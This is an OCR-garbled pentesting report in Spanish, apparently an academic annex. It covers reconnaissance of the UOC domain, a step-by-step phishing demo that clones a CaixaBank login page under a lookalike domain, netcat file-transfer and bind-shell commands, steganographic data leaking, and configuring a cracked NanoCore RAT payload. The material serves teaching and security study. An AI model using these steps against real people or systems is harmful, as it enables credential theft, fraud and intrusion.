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1. Gathering

A continuacién se demuestran algunas de las pruebas teéricamente explicadas en la memoria,
ejecutando algunas de las herramientas que se ha considerado mas utiles. El dominio para
hacer las pruebas sera el de www.uoc.edu.

1.1 Uso de herramientas para la recoleccion de datos

Si ejecutamos un analisis del protocolo whois sobre el dominio tendremos:

Domain Name: UOC.EDU

Registrant:
Universitat Oberta de Catalunya
Avda. Tibidabo, 39-43
Barcelena, Barcelona 08035
SPAIN

Administrative Contact:
Carles Cortada
FUNDACIO UNIVERSITAT OBERTA DE CATALUNYA
Av. Tibidabo, 39-43
Barcelona, IDEM 08037
SPAIN
+34 93 2532300
doninis@uoc. edu

Technical Contact:
Technical Department
Tecnico
Nominalia Internet S.L.
Josep Pla 2, Torres Diagonal Litoral, Edificio B3, planta 3-D
Barcelona, BCN 08019
SPAIN
+34.935074360
cctld@nominalia.com

Name Senvers:
TIBET.UOC.ES
NEPAL.UOC.ES

Domain record activated:  22-Jan-2001
Domain record last updated: 12-Aug-2015
Domain expires: 31-Jul-2016

Figura 1.1: Andlisis Whois

Por lo que vemos, obtenemos: direccion del registro del dominio, detalles de contacto de la
administracion y del departamento/empresa técnica a cargo con sus respectivos mails.
También obtenemos nombres de los servidores y los datos de caducidad de los dominios. Este
ultimo dato se podria utilizar para hacer un secuestro de dominio por ejemplo, en caso de que
el administrador se despiste. Los otros datos nos pueden indicar objetivos adicionales a auditar
(perfiles de trabajadores, emails etc.). Sin duda una consulta fructifera.

Se podria extraer informacién sobre alumnos o profesores y hacer una bdsqueda exhaustiva en
redes sociales (como Facebook y likedin) para obtener mas informacion y algunos emails.
Después de saber quién tiene permisos administrativos sobre la web, se podria pensar un
ataque de ingenieria social para secuestrar las credenciales y tener acceso al servidor. Esta
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parte no se demuestra dadas las implicaciones éticas que conlleva y su extensién. En el
apartado de ingeniera social, se detallardn mas estas técnicas.
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Figura 1.2: Analisis con Maltego 7

Como vemos, apenas nos resuelve un rango de direcciones IP de la web (213.73.40.0/255),
cosa poco util dado que es muy facil saberla sin necesidad de ningln software pero aun asi,

nada despreciable. Maltego tiene infinidad de funcionalidades, algunas de pago, que pueden
arrojar mas informacion.

Seguidamente se ejecutara dnslookup desde la web network-tools:

DNS Lookup for www.uoc.edu

Searcing for www.uoc.edu ANY Record at c.root-servers.net [192.33.4.12] refered to d.edu-servers.net
Searcing for www.uoc.edu AMY Record at d.edu-servers.net [192.31.80.30] refered to tihetuoc.es
Searcing for www.uoc.edu ANY Record at tibetuoc.es [213.73.40.45]

Results from tibet.uoc.es [IP: 213.73.40.45] for www.uoc.edu ANY Record

www.Loc.edu CNAME 86400 [1 Day] www-orgf5.uoc.edu
Name Servers

uoc.edu NS 86400 [1 Day] nepal.uoc.es
uoc.edu NS 86400 [1 Day] tibet.uoc.es

nepal.uoc.es A 86400 [1 Day] 213.73.40.47
tibet.uoc.es A 86400 [1 Day] 213.73.40.45

Direct link to DNS Lookup for www.uoc.edu

Figura 1.3: DNSLoockup

Aqui nos ha detectado dos direcciones concretas a cada servidor, ademas del nombre real del
dominio.
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Ahora se ejecutara nmap de la siguiente manera, como muestra la captura:

Figura 1.4: Ejecucion Nmap
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Estos resultados son de momento los mas fructiferos. Por una parte, nos detecta detalles como
el tipo de cifrado ( sha256-RSA), tipo de servidor ( Apache ModLayout 4.1) y un seguido de
probabilidades de que se esté utilizando impresoras Lexmark, dispositivos Asus, Axis o HP ,
con Linux 2.6.X, El modelo de router Asus-RT-AC66U con varias probabilidades de que
ejecuten Linux 2.6.X. Esto nos servira para explotar posibles vulnerabilidades de los firmwares
de los routers o impresoras. Aunque algunos no son resultados exactos, dado que son
probabilidades, deberemos hacer varias pruebas para eliminar los falsos positivos. También
nos dice los puertos abiertos (443/80/TCP)

Por otro lado, al final ha hecho un traceroute para averiguar los saltos que dan los paquetes.
Vemos que nos devuelve el recorrido de los paquetes por los diferentes servidores DNS.

Utilizaremos también la herramienta recon-ng para ver que nos descubre de la manera
siguiente:

Figura 1.5: Recon-ng
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Terminal oo

uscar Termina

Figura 1.6: Resultados andlisis Recon-ng

Vemos como no nos ha descubierto nada nuevo (sélo un dominio m.www.uoc.edu) pero esta
herramienta tiene muchos mddulos que dependiendo de la pericia y paciencia del auditor, se
puede aprovechar para seguir realizando gathering.
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También ejecutaré Sparta que es la version grafica de nmap incluida en kali 2.0. Los resultados
son los siguientes:

Services | Seripts

os Host Port Protocol
@ 213.73.40.242 (ww. ® © ltep

® 413 tep

N
Log
Progress Tool Host

WD screenshot (443/tcp) 213.73.40.242
MO  nmop (stage 5) www.uoc.edu
MO screenshot (80/tcp) 213.73.40.242
I map (stage 4) uoc.edu
I map (stage 3) www.uoc.edu
MO ikto (443/tcp) 213.73.40.242
I ikto (80/tcp) 213.73.40.242
O map (stage 2) uoc.edu
I map (stage 1) www.uoc.edu

Figura 1.7: Sparta

State
open

open

Information  Notes nikto (80/tep) &

Name
http

http

Start time
30 mar 2016 12:48:53
30 mar 2016 12:48:36
30 mar 2016 12:48:33
30 mar 2016 12:48:28
30 mar 2016 12:48:20
30 mar 2016 12:48:13
30 mar 2016 12:48:12
30 mar 2016 12:48:12

30 mar 2016 12:47:51

nikte (443/tcp) [

Version

End time
30 mar 2016 12:48:53
30 mar 2016 12:48:44
30 mar 2016 12:48:33
30 mar 2016 12:48:36
30 mar 2016 12:48:28
30 mar 2016 12:49:25
30 mar 2016 12:49:40
30 mar 2016 12:48:20

30 mar 2016 12:48:12

Apache httpd (ModLayout/4.1)

Apache httpd (ModLayout/4.1)

Finished
Finished
Finished
Finished
Finished
Finished
Finished
Finished

Finished

screenshot (80/tcp) [

Status

seri < 10)

Sean | Brute

Hosts | Services  Tools Services Scripts

0s Host Host Status

© 213.73.40.242 (ww. Stateqlup
Open Ports: 2

Closed Ports:

Filtered Ports:

Information | Notes = nikto (80/tcp) [
Addresses
IPvd: 213.73.40.242
IPV6:
[} MAC:
65533

Operating System

Name

Accuracy:

Tool
screenshot (443/tcp)
nmap (stage 5)

t (80/tcp)
nmap (stage 4)
nmap (stage 3)
nikto (443/tcp)
nikto (80/tep)
nmap (stage 2)

nmap (stage 1)

Host
213.73.40.242
www.uoc.edu
213,73,40,242
www.uoc.edu
www.uoc.edu
213.73.40.242
213.73.40.242
www,uoc,edu

www.uoc.edu

Start time
30 mar 2016 12:48:53
30 mar 2016 12:48:36
30 mar 2016 12;48,33
30 mar 2016 12:48:28
30 mar 2016 12:48:20
30 mar 2016 12:48:13
30 mar 2016 12:48:12
30 mar 2016 12:48:12

30 mar 2016 12:47:51

2 (BETA) - untitled - /root/

nikto (443/tcp) [z

End time
30 mar 2016 12:48:53
30 mar 2016 12:48:44
30 mar 2016 12:48:33
30 mar 2016 12:48:36
30 mar 2016 12:48:28
30 mar 2016 12:49:25
30 mar 2016 12:49:40
30 mar 2016 12;48:20

30 mar 2016 12:48:12

Finished
Finished
Finished
Finished
Finished
Finished
Finished
Finished

Finished

screenshot (80/tep) & | scry< (7]

Status

De aqui verificamos que el servidor es Apache ModLayout 4.1 y que no utiliza direcciones IPv6.
Aunque parezca redundante nos sirve para ir aumentando la probabilidad de falsos positivos.

Por ultimo, para no alargar demasiado, ejecutaré la herramienta WhatWeb en busca de detalles
CMS. Veremos gque tampoco nos arroja huevos resultados:

red-By[ModLayout/4.1

.242

:s[BIGipServerportal webserver
Meta-Author[Unive

Country[SPAIN
itat Oberta de Catalunya

ES

Frame

Google-Analytic
Script|[text/javascript

Title

Figura 1.8: Whatweb
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2. Ingenieria social

2.1 Phishing para robo de credenciales

Vamos a hacer una demo de cémo se puede crear un ataque phishing para robar las
credenciales de un usuario mediante la manipulacion de una web y el envio de spam.

Primero vamos a guardar la web original mediante el propio navegador haciendo clic en la
opcion de ‘guardar como’. Una vez guardada hay que manipular el cédigo html para que
guarde os datos de las credenciales en un fichero .txt

Aqui se ha escogido una web critica como por ejemplo el portal de ‘lacaixa’ pero se podria
hacer con cualquier web, por ejemplo paypal, Facebook, Gmail, etc. (figura 5.1)
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Figura 2.1. Edicién del cédigo

Una vez manipulado el cédigo fuente, deberemos dar de alta un dominio web. Puede ser un
dominio web cualquiera, pero para hacerlo mas creible, hemos dado de alta el dominio
www.httpslacaixa.es. Al incluir las palabras https y el nombre de la empresa, daremos pie a que
la victima pueda tener una falsa sensacién de seguridad (ver figura 4.2)
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Dominios v 0

s | —

# Inicio > Dominios > Registrar

Registro de Dominio - Paso 1 de 3

Busqueda de Dominio

“onstruir Sitio!

| constructor de sitios
run sitio en 5 minutos.

& Instalador

instalador te permite
as de 100 aplicaciones

PHP. AN N

Ganar Dinero!

Buscar httpslacaixa &8

,

11,17 €/afio

1 a tus amigos sobre
er y gana dinero o un ®

isting premium

httpslacaixa.es (Disponible)

scomendarnos

amne i avnidal Sita

Figura 2.2 Registro de dominio

Hay que decir que existen dominios gratuitos pero las direcciones no son compactas y suelen
aparecer afiadiendo el nombre del host en la direccién. Dependera de cada atacante decidir
hasta qué punto quiere llegar en el ataque.

Ahora, deberemos alojar la nueva url en un host. Lo ideal seria alojarlo en un servidor privado
para evitar ser descubierto, pero en este caso, dado que es una prueba de demostracion, lo
haremos en uno gratuito de la misma empresa donde registramos el dominio (ver figura 5.3).
Se subira la web manipulada mediante algun servicio FTP como Filezilla.

Hosting v

Nueva Cuenta de Hosting

“Dstlnger

& Construir Sitio!

Utiliza el constructor de sitios
para crear un sitio en 5 minutos,

# Inicio > Hosting > Seleccionar Plan

oz Seleccionar Plan de Hosting

Premium

1,99 €

Gratis

0,00 €

Empresarial

499 €

& Instalador

El auto instalador te permite
instalar mas de 100 aplicaciones
PHP.

= 2000 MB de Espacio en Disco » Espacio en Disco llimitado! » jEspacio en Disco llimitado!
= 100 GB de Ancho de Banda = jAncho de Banda llimitado! = jAncho de Banda llimitado!
[@ Ganar Dinero! + Subdominio Gratuito + iRegistro de Dominio Gratis! + iRegistro de Dominio Gratis!
Cuenta a tus amigos sobre = 2 Bases de Datos MySQL » Bases de Datos MySQL llimitadas » Bases de Datos MySQL llimitadas
Hostinger y gana dinero o un * 2 Cuentas de E-mail » Cuentas de E-mail llimitadas = Cuentas de E-mail llimitadas
hosting premium. « Creador de Sitios + Creador de Sitios + Creador de Sitios
* Instalador Automético * Instalador Automatico *+ Instalador Automatico
 Servidores Menos Estables + Acceso SSH Completo + Acceso SSH Completo
o Recomendarnos « Soporte de Menor Prioridad « Servidores Estables « Certificado SSL
Necesitamos tu ayudal Si te « Sin Copias de Seguridad = Soporte con Prioridad = Servidores Altamente Estables
qustan nuestros servicios, + Copias de Seguridad Semanales + Soporte de la Mayor Prioridad

recomiéndanos.

Figura 2.3.Creacion de la cuenta del host gratuito

Copias de Seguridad Diarias

Una vez hecho esto solamente queda crear el email de spam dirigido a la victima. Copiaremos
de nuevo algun aviso del banco. En este caso, hemos advertido en el email que un pago de la
Agencia Tributaria estd pendiente en la cuenta, para provocar la urgencia y que la victima
introduzca las credenciales (ver figura 2.3)
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recibox.informa@caixabank.com

email@victima

recibox.informa@caixabank.com

ReciBox le informa:

Tiene recibos pendientes de pagar por un valor de 323,11 EUR en su
cuenta petenecientes a la Agencia Tributaria.

Por favor, vea los recibos a gestionar para regularizar la situacion en
RecBox: www.httpslacaixa.es

SansSerif + T~ B 7 U A -

m A 0 & M 2 @ Guardado

Figura 2.4. Envio del email spam con el link del portal falso

.
=
11

m
q

Es importante que el mail sea desde un servidor que no esté catalogado como spam y que no
permita la identificacion del propietario con facilidad. Se puede utilizar alguna cuenta de emalil
de redes TOR por ejemplo o una cuenta Gmail que desecharemos al hacer la campafia. El
nombre del correo también debe ser creible o relacionado con la empresa atacada para facilitar
el éxito.

Después de esto, tan solo queda esperar a que la victima acceda al portal falso e introduzca
las credenciales (ver figura 2.5). Una vez hecho esto, se creara un fichero con los datos (ver
figura 2.6)

ooo .
»82° @  www.httpslacaixa.es

Accion CABK 26410 +5.34% 17:38 Web corporativa Banca Premier Banca Privada Particulares Empresas Castellano v
£Qué estas buscando? Escribelo aqui. m
Productos Infantil Jovenes Programa Estrella Club Ahora CaixaFuturo CaixaNegocios HolaBank Buscador de oficinas Movil

Acceso seguro a Hazte cliente de CaixaBank
Linea Abierta
Identificacion

N ,\
45863547
N° secreto (PIN 1) Desc_"bm
N Entrar tu nivel
¢Has olvidado tu PIN1? de pmteccién SaiaxySTeoge 7
AA“ﬂ en Lin;::dbie!‘::’ - Contrata y agrupa Samsung Galaxy S7 Renta 2015. Con Linea
CCES0.CON S tus seguros y consigue Edge y S7. 0% TAE + Abierta es mas facil
Demostracion hasta 1.000 € en una envlo.geailio
Garantia de seguridad Tarjeta Regalo 078 / 100
Busca tu 2 (© SOLOHASTAEL 1542016 > % ) ! ﬁz &
piso en € 3 ] F; t.‘
Servihabitat B R ragien ‘
Ml Mas informacion @ \ )
/ 8.7
9K Obea Social s Caira® — (1)
i Donde cai Pay. Paga
todo emp»eza y acaba célmodamente con el
CaixaBank a tu servicio Inspiranos Blog Social Corner en tu movil movil

Figura 4.5.Portal web manipulado
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_| datos.txt: Bloc de notas

Archivo Edicion Formato Ver Ayuda

DNI/Nombre de usuario: 45863547
Numero secreto: 614352

Figura 2.6. Fichero con los datos robados.

Para incrementar el éxito de esta campafa de spam dirigido, existen herramientas de envio de
spam masivo. Los emails también pueden proceder de alguna base de datos online procedente
de la venta de estas online. No todos los destinatarios terminaran siendo victimas, pero un
pequefo porcentaje si lo hara.

Por otra parte, herramientas como Social Enginering Tool (SET) automatizan esta tarea,
incluyendo otros muchos matices y técnicas de ingenieria social. Esta se complementa con
Metasploit creando una herramienta con un sinfin de posibilidades de auditorias y hacking.
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3. Andlisis de vulnerabilidades y enumeracion.

A continuacion se van a detallar algunos de los procedimientos de andlisis de vulnerabilidades
y enumeracion utilizando algunas de las herramientas descritas.

3.1 Uso de herramientas para analizar y enumerar vulnerabilidades

Primeramente se utilizara nikto que viene instalado en kali por defecto. Utilizando el comando
indicado, veremos una cantidad importante de informacion.

Figura 3.1: Ejecucion Nikto

Vemos la versién del servidor y SSL, algunas deficiencias en los headers que permitirian una
explotacion XSS, etc.

Podemos seguir con OpenVas, que tras crear un usuario e iniciar la primera instalacion, nos
permite acceder a través del navegador. Indicando la url y clicando ‘start scan’ comenzara en
analisis.

]

Figura 3.2: creacion de usuario openvas

Greenbone Logged in as Admin Ra;

é"" Security Assistant Mon Apr 11

Scan Management  Asset Management Secinfo Management Configuration

»
Filter: BH®E o -vy@\8

Immediate scan of IP www .com N (1) | Ol ad B3
Immediate scan of IP www.uoc.edu 1(1) Aprill zols [N Ld L e G K

wreeye—— - N | 4

(Applied filter: apply_overrides=1 rows=10 first=1 sert=namel Lo iR e B )

Welcome dear new user!

To explore this powerful application and to
have a quick start for doing things the first
time, | am here to assist you with some
hints and short-cuts.

Quick start: Immediately scan an IP address
IP address or hostname:

Start Scan

| will appear automatically in areas where
you have created no or only a few objects.
And disappear when you have more than 3
objects. You can call me with this icon
any time later on.

For this short-cut | will do the following for you:

. Create a new Target with default Port List

. Create a new Task using this target with default Scan
Configuration
Start this scan task right away
Switch the view to reload every 30 seconds so you can lean
back and watch the scan progress

[

W

If you want help creating new scan tasks
but also more options, you can select
"Advanced Task Wizard" from the wizard
selection menu at the top of this window
where it currently says "Task Wizard"
marked with a small arrow.

In fact, you must not lean back. As soon as the scan progress is
beyond 1%, you can already jump into the scan report via the link in
the Reports Total column and review the results collected so far.

When creating the Target and Task | will use the default Port List,
Alert, OpenvaS Scan Config, Credentials, OpenVAS Scanner and Slave
configured in "My Settings".

For more detailed information on
functionality, please try the integrated
help system. It is always available as s

context sensitive link as icon &4,

By clicking the New Task icon il you can also create s new Task
yourself. However, you will need a Target first, which you can create by
going to the Targets page found in the Configuration menu using the
New icon there,

Backend oparation: 0.07s Graenbone S acurity Assistant (G5A) Copyright 2009-2

Figura 3.3: Escaneo con Openvas

by Greanbone Networks GrmbH, www greenbone.net
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Openvas pero suele ser una herramienta que arroja resultados interesantes que hay que
considerar. Es muy probable que estos analisis sean detectados por IPS/IDS y éstos bloqueen
la direccion IP del auditor. También se puede alternar con varios servidores proxy para evitar
ser detectado.

También existe Nessus. Después de adquirir una licencia valida y de haberlo instalado, habra
que inicializar la aplicacion por consola. Seguidamente pedira el nombre y usuario mediante
conexién del navegador.

I

Figura 3.4: Inicio de Nessus

@ Nessus Scans Policies

Scan Library

All Templaies Scanner

o . M b\

Advanced Scan Audit Cloud Infrastructure Bash Shellshock Detection Basic Network Scan Credentialed Patch Audit
& 2
— %,
O 11 =
= & &
DROWN Detection Host Discovery Internal PCI Network Scan Malware Scan MDM Config Audit
& 2 & 2 2
"e?v — ‘c?‘_ — "o%_ CJ "e?v ‘G?V
) -— Qe = | Qe ) Qe
Mobile Device Scan Offline Config Audit PCI Quarterly External Scan Policy Compliance Auditing SCAP and OVAL Auditing

®

Web Application Tests

Figura 3.5: Opciones de nessus

Vemos que tiene diversos plugins Utiles para poder realizar todo tipo de analisis. Esta
herramienta (al igual que la mayoria que se estan explicando) son muy extensas y dependera
de cada auditor el sacarle el mayor rendimiento posible. Aqui no se pretende realizar un
analisis exhaustivo.

Tenemos también Lynis, una herramienta muy U(til para detectar vulnerabilidades. Esta
herramienta se utiliza para el hardening de servidores, ademas, hay que realizar el andlisis
desde dentro de la red. En caso de que la auditoria no sea exclusivamente externa o el intruso
haya podido explotar alguna vulnerabilidad y adquirido el control de algin PC de la red interna,
es de tremenda utilidad.
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[ Lynis 2.0.0 ]

Initializing program

DONE

Lynis update available

200 220

Please update to the latest version for new features, bug fixes, tests
and baselines.

debian
Debian Tests
FOUND
ND
ND
FOUND

FOUND
FOUND

NOT ENCRYPTED
NOT ENCRYPTED

Installed and enabled for apt

Press [ENTER] to continue, or [CTRL]+C to stop

Boot and services
UNKNOWN
DONE
DONE

0K
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File Permissions

NOT FOUND
NOT FOUND
Press [ENTER] to continue, or [CTRL]+C to stop

Home directories

Press [ENTER] to continue, or [CTRL]+C to stop

Kernel Hardening

Press [ENTER] to continue, or [CTRL]+C to stop

Figura 3.6: Resultados de Lynis

Se han omitido algunas capturas pero vemos que, realiza un examen exhaustivo del equipo,
indicando por secciones las diferentes opciones que tenemos. Luego cataloga todas las alertas
dependiendo de su importancia y finalmente cataloga las sugerencias recomendadas.

Suggestions

Figura 3.7: Sugerencias de Lynis
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Alguna herramienta de enumeracion a considerar es Engineer’s toolset. Es una suite que
redes,

incluye varias

herramientas como

IPAM/DNS/DHCP, etc.

reate folder

ra

., Quick Start

¢ My recent tools

#r My favorites

All Tools

Network Monitoring
Log Management
IPAM/DNS/DHCP
Network Discovery
Diagnostics
General/Other
Security

SNMP

Configuration Managem...

rom my local machine

monitorizacién

de

SNMP,

diagnostico,

‘ Search all tools ‘

DNS, network latency, file transfers, QoS, configs, etc.

Browse SolarWinds most used tools...

i @ Ping Sweep

Tool to ping a range of IP addresses identifying used,

unused, and DNS name for each

= Scans a range of IP
addresses to identify
which IP addresses are in
use and which ones are
currently free

® Exports or prints results
to any of the following:
comma delimited file
(CSW), plain text file (TXT),
HTML, Excel®
spreadsheet, or copy to
the clipboard

Network Performance Monitor
Fault and performance menitoring tool

® Provides visual alert
indicators and audible
alarms

® Archives up to three years
of graphical histary of
your netwerk, enabling
you to view fully
interactive charts of
availability, response time
and packet loss

© 2% TFTP Server
Multi-threaded TFTP server used to transfer files

Figura 3.8: Engineer’s toolset

[

IP Address Management

Actively monitor which IP addresses are in use on your
network across multiple subnets

= Automates IP address i
management by I
determining which IP
addresses are used/
unused

® Shows how long it has
been since an address has
been used

Switch Port Mapper
Discovery tool that maps ports to IP addresses

® Remotely discovers the
devices connected to
‘each port on a switch or
hub

= Creates a logical map of
which ports are
associated with which IP
addresses

® Discovers MAC addresses,
IP addresses, and
hostname of connected
devices

= Shows details about each
port like operational
status and port speed

@ IP Network Browser
Interactive network discovery tool

que son muy agresivos en la mayoria de casos por ejemplo ataqgues SNMP por fuerza bruta
para averiguar direcciones.

@ SNMP Brute Force Attac

File Edit Help
Export  Print | Settings Help
Target Host or IP Add IWW;'I k=

Attack Speed: Fast

Kl

Attack paused ...
Current Community String
SNMP Queries
Bandwidth being used

Target device
Target P Address
Response Time
Packet Drops.
DNS Name
System Name

Aftack Character Set
Maximum community string length

Read/Only Community String
Read/\Write Community String

Bf
155 total at 9,0 per second
Approximately 4508 bps.

WL
3117
58 milizeconds
4

unknown

Alpha-Numeric characters
5 characters

unknown
unknown

Figura 3.9: SNMP Brute Force
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Una vez tengamos algln usuario valido, podemos utilizar alguna herramienta mas de
enumeracion de las mostradas como Hyena.

Por ultimo hay que recordar el uso de la herramienta netcat. Esta herramienta esta considerada
como una navaja suiza por su versatilidad, sencillez y potencia. Las principales funciones de
netcat son crear sockets con el destino indicado si es cliente, o en el puerto indicado si esta
funcionado como servidor. Una vez hecho esto, se puede enviar/recibir todo lo que se le deje
como entrada al programa, por ese socket. Por ejemplo algunos comandos:

Envio y recepcion de ficheros:

$ nc -l -p 2000 > fichero.recibido
$ nc localhost 2000 < fichero
Shell remota:

$ nc -1 -p 2000 -e /bin/bash

$ nc localhost 2000

Esta herramienta puede ser de gran utilidad para la depuracion, analisis y manejo de redes
TCP/IP en redes internas o externas.

@

ERIYEIXFHEE QR Y | [&[
B--@ DESKTOP-21J554T (Local Workstation) ~ B ‘

-2 Unidades
[j---=§= Conexiones locales
-4 Usuarios
a& Administrador

E @ Grupos

[ Descripcién:Cuenta integrada para la administracién del equipo o dominic

|§q La contrasefia nunca caduca

ﬁﬂ Cuenta desactivada

|§q Contrasefia modificada hace 276 dias, 4 haras el 10/07/2015 14:22:01
-4 ASPMET (ASP.NET Machine Account)

[j---& Defaultfccount

[j---& Invitado

Eﬁ Administradores
ﬁﬂ La contrasefa nunca caduca
|§q Contrasefia no necesaria

[j--ﬁ Grupos locales

[-#2 Impresoras
[ pes} Recursos compartidos

ﬁ' Sesiones

Ih Archivos abiertos
----- Servicios
..... @ Miznnezitivne

Figura 3.10: Hyena

Por ejemplo nos detecta varios problemas en las contrasefias del usuario R*** entre otros
muchos parametros que pueden surgir.
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4. Malware y seguridad en sistemas

Debido a la mezcla de conceptos que resultan de las pruebas de conceptos del malware y la
explotacion, se ha decidido combinar estos dos apartados. Desde la creacion del malware, su
ocultacién, el envio de éste, hasta la explotacion del sistema, incluyen muchisimos casos y
posibles practicas. Aqui se explican algunas.

4.1 Uso de esteganografia para ocultar un .doc en una foto

Tenemos algunas herramientas para la ocultacion de informacion dentro de otra. En este caso,
se va a utilizar la herramienta OpenStego para ocultar un hipotético documento confidencial
.doc con informacion sensible de una empresa, en una aparentemente inofensiva foto de un

nifio pequefio graciosa, para simular una fuga de informacion procedente del interior de una
empresa.

En primer lugar, una vez en posesion del documento a filtrar y de la foto que utilizaremos para
despistar, ejecutamos la aplicacion.

& Openstego ol o e
Eile Help
Data Hiding Hide data in harmless looking files |
@ Message File
Hide Data C:\JJsers-Deskhop\,lisia de proveedores.docx
g Cover File
Extract Data (Belect multiple fles or provide wildcard (%, 7) fo embed same message in multiple fles)
C:\JJsers-Deskmp\funnykid.jpg
Qutput Stego File
C:\JJser.Desktop\niﬁo gracioso.png E]
Options
Password sene Confirm Password |
Digital Watermarking (Beta)

Figura 4.1:0penStego

Como se ve, deberemos introducir el documento a esteganografiar, el archivo de ocultacién, un
nombre de archivo final y una contrasefia para realizar el proceso inverso. Una vez hecho
clicamos en ‘Hide Data’ y realizara el proceso de ocultacion.

& OpenStego == =]

File Help

Data Hiding Hide data in harmless looking files

@ Message File
Hide Data C:\l isers WA Ceckton\lista de nroveedores daey
g Success @
Extract Data e Y i multiple fes)

Message embedded into 1 Cover file(s). Skipped 0 file(s)

(]

Options

Password LTI Confirm Password ees

Hide Data

Digital Watermarking (Beta)

Figura 4.2: Archivo ocultado en OpenStego
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Como podemos observar en la siguiente imagen, obtenemos una foto aparentemente
inofensiva, que no es detectada por el antimalware pero que contiene un archivo sensible, el de
los proveedores de una empresa.

™ Mend principal de Malwarebytes Anti-Malware (Prueba) 2.2.1.1043 [e[@][=]

ANTI-MALWARE

MENU PRINCIP ANALISIS CONFIGURACK(  HISTORIAL

Analisis de amenazas completado con éxito

Tiempo necesario para completar el andlisis: 00:00:09
Elementos analizados: 1L
Amenazas identificadas: 0

Malwarebytes Anti-Malware Premium: Faster scanning, less waiting
Malwarebytes Anti-Malware Premium includes a Hyper Scan that runs even faster than our standard Threat Scan.

Get my upgrade
Terminar

Guardar los resultados »

—
1] nifio gracioso - Visualizador de fotos de Windows [se=]
— ! Archivo ¥ Imprimir ¥ Correo electrénico  Grabar v  Abrir ¥ @

O i ~|<~—-()~->|~- SECHDA )

Figura 4.3: Resultados de anitmalware y del archivo resultante

Esta foto se podria enviar a alguien del exterior de manera aparentemente inofensiva sin
levantar sospechas ni dejar rastro. Ademas el hecho de incluir una contrasefia, si es
suficientemente fuerte, complicaria mucho el poder extraer la informacion oculta. El receptor,
solo deberia ejecutar la herramienta e introducir la contrasefia para obtener la informacion,
como se aprecia en la siguiente imagen:

& Openstego =1 =S & openstego [Ele=]
File Help File Help
Data Hiding Extract hidden data Data Hiding Extract hidden data
= Input Stego File Input Stego File
Hide Data |2 \Users\YDesktop nifo aracioso.png ™) ICo\ isers S fin araci =
1
[ Output Folder for Message Fie RHSeES =
Extract Data C:\Jsers EEDesktop =) Y 7=
10 Message file successfully extracted from the Cover file: lista de proveedores.docx

Password |eees|

Digital Watermarking (Beta) Digital Watermarking (Beta)
PO e~ 2 aeesheg

Figura 4.4: Proceso inverso de OpenStego
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Como vemos, es increiblemente facil y rapido utilizar técnicas de esteganografia para filtrar
datos.

4.2 Creacion de un troyano para ser usado por una RAT

En Internet existen infinidad de RATs que se pueden aprovechar para acceder a otro sistema.
En el momento de que se crea una RAT, existe un periodo de tiempo en los cuales los antivirus
analizan estos malwares, actualizan sus bases de datos hasta que son interceptados en su
mayoria. Es el caso de NanoCore RAT, distribuido en 2015 en su version liberada.
Vitaminandolo con pluguins que se autoinstalan facilmente, se puede crear una conexién con la
victima, pudiendo monitorear todos los procesos, tecleados, realizar capturas de pantalla,
enviar audio o videos o incluso abrir un chat directo.

El escenario es una maquina virtual con Windows 7 64 bits, instalada en una maquina fisica
con Windows 10 64 bits. Se creara el servidor desde la maquina fisica y se infectara la

maquina virtual para demostrar los efectos de tener infectado un sistema operativo con esta
RAT.

Lo primero es configurar el cliente con sus plugins de red, de conexidn, etc. Dado que no son
muchos, se han instalado todos para tener el maximo de funciones.

N NanoCore - Unicom Release - Cracked By Alcatraz3222 | RTN

# NanoCore g Clients &8 Network | System & Builder

[Additions & Changes: ~
-[Fecdback] Renamed Total label in connections widget to Session

-Made some aptimizations to dlient list and log handling

-[Fecdback] (NetworkPlugin) Added Changel® to the DNS manager

-Builder will now prompt user to add and enable a port if it's not present in the port manager
-NanoCore will now include the license name in the main window title

-Connection hests, dns servers, and default group builder settings are now trimmed

-Builder will new promet the user if no connection hests have been provided

-Server will now prompt the user if there is @ high number of failed connection attempts
-{ServerPlugin} IServerUlHost.AddWidgetEntry will no longer accept widgets without names
-[Fecdback] Server and builder logs can now be cpencd in a separate window fer casier debugging
-Builder will new use Goegle DNS by default

-=erver will now graph all incoming and outgeing data, regardiess if it's valid or net

-Zerver will now force garbage coliection every 5 minutes I using excessive memery
-(NetworkPlugin) Re-enabled HTTP / SL proxies after applying seme stability fixes
-(SurveillancePlugin) Added high speed interpelation option to remate deskiep (adds 5-8 FPS!)
-(SurveillancePlugin) Made some sptimizations to remote desktop which increases responsiveness
-(ToslsPlugin) Chat will now indicate whether or not users are typing

-{Network?lugin) Listening ports will now be periodically scanned to see if they are open
-(Network®lugin) Added port scan interval server setting

-Server will now shaw a notification when it fails to bind to a port

-Primary connection host is now et to nothing by default v

Figura 4.6: Portada entrada de Nanocore

20| Pagina



Seguridad en redes y sistemas: Técnicas y conceptos sobre hacking y pentesting. Producto

M NanoCore - Unicorn Release - Cracked By Alcatraz3222 | RTN

4 NanoCore gL Clients &8 Network | System % Builder

@ Core Plugin Diesble 2
‘Adds varisus functisns, sertingz, and information sbout cliznts, It is recommendad that you lezve this plugin enzblzd.

<
AR 4.9 stars ( 182 vores |
@¥ Management Plugin Diesble -

Adds remota console, registry sditor, task managar, and fils browser.

AR AR 472 sears ( 173 vores) =

@ Network Plugin
Adds UPnP, NAT-PMP, and reverse SOCKS 5/44 support

AR KK 250 sears ( 144 voras | -

@ Security Plugin
Provides accass to firawall and anti-mahware tools and information.

AR KR .05 scars (73 vores ) -

& surveillanceEx Plugin
Adds system meonitering suppert such 2z 2 offling and live keylegger, and password recovery.

AR KR 275 stars ( 112 vores ) -

¥ surveillance Plugin
Adds support for remote desktop, webcam, and audie feads.

Dizable =

Dizable =

Dizable =

Disable =

AR KR 450 stars ( 161 vores | v .

Figura 4.7: Plugins Nanocore

Una vez hecho, esto, deberemos agregar el puerto a la escucha que activaremos y por el cual
nos llegaran los datos a nuestra maquina.

N NanoCore - Unicorn Release - Cracked By Alcatraz3222 | RTN

What is the next major fezture y,
like added to Nani

# Nanocore 3k Clients &% Network yste £, Builder

Add Port..

Figura 4.8: Agregacion del puerto a la escucha

Ahora toca crear el servidor, desde el apartado Builder, se puede indicar diferentes parametros.
Indicaremos la IP a la cual se conectara (es decir, la nuestra) el puerto (el mismo que hemos
abierto) y se procede a infectar la maquina con dicho archivo.
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N NanoCore - Unicomn Release - Cracked By Alcatraz3222 | RTN

Basic Settings 2
Default Group
Default (e.g. "Sales Team”)

Primary Cannection Host
192.168.1.46 (e-g. "home.no-ip.net")

Backup Connection Host

127.0.0.1 (e-g. "office.no-ip.net")

Connection Port
53896 :

[] & Skip User Account Control warnings
[] request process elevation on execution

[ Run client when the computer starts

